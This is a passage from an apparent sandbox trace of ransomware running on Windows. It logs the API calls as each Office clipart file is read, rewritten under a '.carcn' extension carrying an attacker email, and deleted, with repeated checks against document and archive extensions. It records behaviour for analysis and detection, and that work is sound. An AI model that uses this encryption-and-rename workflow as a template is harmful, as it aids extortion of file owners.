nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0301.303] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0301.304] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.304] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.304] SetEndOfFile (hFile=0x364) returned 1 [0301.305] CloseHandle (hObject=0x364) returned 1 [0301.305] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.305] SetEndOfFile (hFile=0x350) returned 1 [0301.305] CloseHandle (hObject=0x350) returned 1 [0301.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0301.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.306] lstrlenW (lpString=".doc") returned 4 [0301.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.306] lstrlenW (lpString=".docx") returned 5 [0301.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.306] lstrlenW (lpString=".pdf") returned 4 [0301.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.306] lstrlenW (lpString=".xls") returned 4 [0301.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.306] lstrlenW (lpString=".xlsx") returned 5 [0301.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.306] lstrlenW (lpString=".ppt") returned 4 [0301.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.306] lstrlenW (lpString=".zip") returned 4 [0301.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.306] lstrlenW (lpString=".rar") returned 4 [0301.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.306] lstrlenW (lpString=".bz2") returned 4 [0301.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.306] lstrlenW (lpString=".7z") returned 3 [0301.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".dbf") returned 4 [0301.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".1cd") returned 4 [0301.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".jpg") returned 4 [0301.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".doc") returned 4 [0301.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString=".docx") returned 5 [0301.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.307] lstrlenW (lpString=".pdf") returned 4 [0301.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString=".xls") returned 4 [0301.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.307] lstrlenW (lpString=".xlsx") returned 5 [0301.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.307] lstrlenW (lpString=".ppt") returned 4 [0301.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".zip") returned 4 [0301.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.307] lstrlenW (lpString=".rar") returned 4 [0301.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString=".bz2") returned 4 [0301.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString=".7z") returned 3 [0301.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.307] lstrlenW (lpString=".dbf") returned 4 [0301.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.308] lstrlenW (lpString=".1cd") returned 4 [0301.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0301.308] lstrlenW (lpString=".jpg") returned 4 [0301.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.308] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.308] lstrlenW (lpString="DD01629_.WMF") returned 12 [0301.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.308] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=580) returned 1 [0301.308] CloseHandle (hObject=0x350) returned 1 [0301.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0301.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.308] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.309] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.309] GetLastError () returned 0x0 [0301.309] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x244, lpOverlapped=0x0) returned 1 [0301.310] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x250, lpOverlapped=0x0) returned 1 [0301.310] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.311] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.311] SetEndOfFile (hFile=0x364) returned 1 [0301.311] CloseHandle (hObject=0x364) returned 1 [0301.311] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.311] SetEndOfFile (hFile=0x350) returned 1 [0301.312] CloseHandle (hObject=0x350) returned 1 [0301.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.312] lstrlenW (lpString=".doc") returned 4 [0301.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".docx") returned 5 [0301.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.312] lstrlenW (lpString=".pdf") returned 4 [0301.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".xls") returned 4 [0301.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.312] lstrlenW (lpString=".xlsx") returned 5 [0301.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.312] lstrlenW (lpString=".ppt") returned 4 [0301.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString=".zip") returned 4 [0301.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.313] lstrlenW (lpString=".rar") returned 4 [0301.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".bz2") returned 4 [0301.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".7z") returned 3 [0301.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString=".dbf") returned 4 [0301.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString=".1cd") returned 4 [0301.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString=".jpg") returned 4 [0301.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.313] lstrlenW (lpString=".doc") returned 4 [0301.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".docx") returned 5 [0301.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.313] lstrlenW (lpString=".pdf") returned 4 [0301.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".xls") returned 4 [0301.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.313] lstrlenW (lpString=".xlsx") returned 5 [0301.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.313] lstrlenW (lpString=".ppt") returned 4 [0301.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.314] lstrlenW (lpString=".zip") returned 4 [0301.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.314] lstrlenW (lpString=".rar") returned 4 [0301.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.314] lstrlenW (lpString=".bz2") returned 4 [0301.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.314] lstrlenW (lpString=".7z") returned 3 [0301.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.314] lstrlenW (lpString=".dbf") returned 4 [0301.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.314] lstrlenW (lpString=".1cd") returned 4 [0301.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0301.314] lstrlenW (lpString=".jpg") returned 4 [0301.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.314] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.314] lstrlenW (lpString="DD01630_.WMF") returned 12 [0301.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.314] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=296) returned 1 [0301.314] CloseHandle (hObject=0x350) returned 1 [0301.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0301.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.315] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.315] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.316] GetLastError () returned 0x0 [0301.316] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x128, lpOverlapped=0x0) returned 1 [0301.316] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x130, lpOverlapped=0x0) returned 1 [0301.317] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.317] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.389] SetEndOfFile (hFile=0x364) returned 1 [0301.389] CloseHandle (hObject=0x364) returned 1 [0301.389] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.389] SetEndOfFile (hFile=0x350) returned 1 [0301.391] CloseHandle (hObject=0x350) returned 1 [0301.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0301.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.392] lstrlenW (lpString=".doc") returned 4 [0301.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.392] lstrlenW (lpString=".docx") returned 5 [0301.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.392] lstrlenW (lpString=".pdf") returned 4 [0301.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.392] lstrlenW (lpString=".xls") returned 4 [0301.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.392] lstrlenW (lpString=".xlsx") returned 5 [0301.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.392] lstrlenW (lpString=".ppt") returned 4 [0301.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.392] lstrlenW (lpString=".zip") returned 4 [0301.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.392] lstrlenW (lpString=".rar") returned 4 [0301.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString=".bz2") returned 4 [0301.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString=".7z") returned 3 [0301.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.393] lstrlenW (lpString=".dbf") returned 4 [0301.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.393] lstrlenW (lpString=".1cd") returned 4 [0301.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.393] lstrlenW (lpString=".jpg") returned 4 [0301.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.393] lstrlenW (lpString=".doc") returned 4 [0301.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString=".docx") returned 5 [0301.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.393] lstrlenW (lpString=".pdf") returned 4 [0301.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.393] lstrlenW (lpString=".xls") returned 4 [0301.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.393] lstrlenW (lpString=".xlsx") returned 5 [0301.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.393] lstrlenW (lpString=".ppt") returned 4 [0301.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.394] lstrlenW (lpString=".zip") returned 4 [0301.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.394] lstrlenW (lpString=".rar") returned 4 [0301.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.394] lstrlenW (lpString=".bz2") returned 4 [0301.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.394] lstrlenW (lpString=".7z") returned 3 [0301.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.394] lstrlenW (lpString=".dbf") returned 4 [0301.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.394] lstrlenW (lpString=".1cd") returned 4 [0301.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0301.394] lstrlenW (lpString=".jpg") returned 4 [0301.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.394] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.394] lstrlenW (lpString="DD01793_.WMF") returned 12 [0301.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.395] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3252) returned 1 [0301.395] CloseHandle (hObject=0x350) returned 1 [0301.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0301.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.395] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.395] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.396] GetLastError () returned 0x0 [0301.396] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0301.397] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0301.398] ReadFile (in: hFile=0x350, 